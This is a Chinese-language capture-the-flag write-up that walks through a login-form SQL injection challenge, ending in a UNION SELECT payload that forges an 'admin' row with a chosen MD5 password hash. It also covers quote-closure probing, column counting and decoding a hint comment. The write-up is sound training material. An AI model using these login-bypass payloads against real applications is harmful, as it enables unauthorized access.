解題思路
打開靶場,題目提示是sql注入
?輸入數據,判斷下閉合
1'1'
123
報錯:
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1''' at line 1
?報錯提示數據庫類型是mysql,并且可以發現一個1'和123不見了,報錯的是'1'''。
這里可以獲取兩個信息
一是,用戶名和密碼是分開查詢的,因為只報錯了用戶名部分,123不見了,如果是同一條語句查詢,后面123也會顯示。
二是,閉合為單引號,因為一個1'不見了,說明一個'將前面的單引號閉合,導致第一個1消失。為什么報錯'1''',先去掉報錯信息自動添加的單引號,變成1'',再去掉我們自己填的1',剩下的單引號就是語句查詢的單引號,也就是我們提前閉合后,語句落下的單引號,也證實了這是單引號閉合。
接下來可以嘗試,密碼輸入1'1',發現不報錯,可以猜測,密碼根本就沒有去查詢...?
輸入萬能永真 用戶名和密碼:
1' or 1=1#
?
字符探測可以知道,是or被過濾了,使用大小寫和雙寫繞過沒有什么用
但是這里union 和 select 沒有被過濾,用這個探測列數
1' union select 1,2,3,4#
Error: The used SELECT statements have a different number of columns
1' union select 1,2,3#
?三列時不報錯,說明是三列。
到這里,手工注入就可以倒下了..因為后面會發現括號也被過濾了..
只能看有沒有更多的信息,然后抓包查看響應包、或者查看響應頁面網頁源碼,可以發現一串編碼
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
?用AI或者其他工具,可以發現是用base32編碼的,解碼:
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
?這個就比較明顯是base64,解碼:
select * from user where username = '$name'
?也沒啥信息,證實了我們之前說的...只查詢了用戶名。
后面就只能去看源碼了,關鍵源碼:
if($arr[1] == "admin"){if(md5($password) == $arr[2]){echo $flag;}else{die("wrong pass!");}}
?可以看到1列必須是admin,然后2列必須是password的md5值的加密,才能輸出flag。
那么這個數組1,2是什么呢。就是我們語句的2、3列。
1' union select 1,2,3#
1列呢,是flag,2列是我們的用戶名,我們要填入admin,3列則是填入密碼md5值的加密。
最坑的地方是,那么密碼是什么?
結合前面說的,密碼都沒查詢語句,其實,這里的3列密碼就是我們自己輸入的密碼...
那么加密123456
e10adc3949ba59abbe56e057f20f883e
然后Payload就是輸入用戶名密碼:
1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
123456
成功顯示
總結
結合代碼審計的sql注入題,挺坑的,我感覺不如直接給源碼得了,或者結合下文件包含什么的...?